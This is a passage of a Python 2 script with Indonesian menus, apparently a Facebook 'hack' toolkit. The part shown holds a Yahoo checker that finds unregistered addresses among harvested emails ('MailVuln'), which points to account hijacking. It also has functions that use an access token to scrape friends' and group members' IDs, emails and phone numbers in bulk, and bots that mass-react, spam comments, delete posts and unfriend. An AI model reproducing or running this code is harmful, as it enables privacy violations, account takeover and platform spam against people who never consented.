'\x1b[1;97m]' continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' except KeyError: pass print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def yahoolist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') try: total = open(files, 'r') mail = total.readlines() except IOError: print '\x1b[1;91m[!] File tidak ada' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' print mail = open(files, 'r').readlines() for pw in mail: mail = pw.replace('\n', '') jml += 1 mpsh.append(jml) yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m ' + mail continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print '\x1b[1;92m ' + mail else: print '\x1b[1;91m ' + mail print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def grab(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Ambil ID teman' print '\x1b[1;37;40m2. Ambil ID teman dari teman' print '\x1b[1;37;40m3. Ambil ID member GRUP' print '\x1b[1;37;40m4. Ambil Email teman' print '\x1b[1;37;40m5. Ambil Email teman dari teman' print '\x1b[1;37;40m6. Ambil No HP teman' print '\x1b[1;37;40m7. Ambil No HP teman dari teman' print '\x1b[1;31;40m0. Kembali' print grab_pilih() def grab_pilih(): cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if cuih == '': print '\x1b[1;91m[!] Jangan kosong' grab_pilih() else: if cuih == '1': id_teman() else: if cuih == '2': idfrom_teman() else: if cuih == '3': id_member_grup() else: if cuih == '4': email() else: if cuih == '5': emailfrom_teman() else: if cuih == '6': nomor_hp() else: if cuih == '7': hpfrom_teman() else: if cuih == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada' grab_pilih() def id_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_id, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['data']: idteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(save_id) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def idfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) z = json.loads(r.text) save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_idt, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['friends']['data']: idfromteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def id_member_grup(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') b = open(simg, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) s = json.loads(re.text) for i in s['data']: idmem.append(i['id']) b.write(i['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + i['name'] print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg b.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(simg) print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def email(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: em.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(mails) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def emailfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: emfromteman.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def nomor_hp(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') url = 'https://graph.facebook.com/me/friends?access_token=' + toket r = requests.get(url) z = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for n in z['data']: x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(noms) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def hpfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hpfromteman.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def menu_bot(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Bot Reactions Target Post' print '\x1b[1;37;40m2. Bot Reactions Grup Post' print '\x1b[1;37;40m3. Bot Komen Target Post' print '\x1b[1;37;40m4. Bot Komen Grup Post' print '\x1b[1;37;40m5. Mass delete Post' print '\x1b[1;37;40m6. Terima permintaan pertemanan' print '\x1b[1;37;40m7. Hapus pertemanan' print '\x1b[1;31;40m0. Kembali' print bot_pilih() def bot_pilih(): bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if bots == '': print '\x1b[1;91m[!] Jangan kosong' bot_pilih() else: if bots == '1': menu_react() else: if bots == '2': grup_react() else: if bots == '3': bot_komen() else: if bots == '4': grup_komen() else: if bots == '5': deletepost() else: if bots == '6': accept() else: if bots == '7': unfriend() else: if bots == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada' bot_pilih() def menu_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print react_pilih() def react_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' react_pilih() else: if aksi == '1': tipe = 'LIKE' react() else: if aksi == '2': tipe = 'LOVE' react() else: if aksi == '3': tipe = 'WOW' react() else: if aksi == '4': tipe = 'HAHA' react() else: if aksi == '5': tipe = 'SAD' react() else: if aksi == '6': tipe = 'ANGRY' react() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' react_pilih() def react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print reactg_pilih() def reactg_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' reactg_pilih() else: if aksi == '1': tipe = 'LIKE' reactg() else: if aksi == '2': tipe = 'LOVE' reactg() else: if aksi == '3': tipe = 'WOW' reactg() else: if aksi == '4': tipe = 'HAHA' reactg() else: if aksi == '5': tipe = 'SAD' reactg() else: if aksi == '6': tipe = 'ANGRY' reactg() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' reactg_pilih() def reactg(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] try: oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksigrup.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def bot_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komen.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komengrup.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def deletepost(): os.system('reset') try: toket = open('login.txt', 'r').read() nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) lol = json.loads(nam.text) nama = lol['name'] except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') 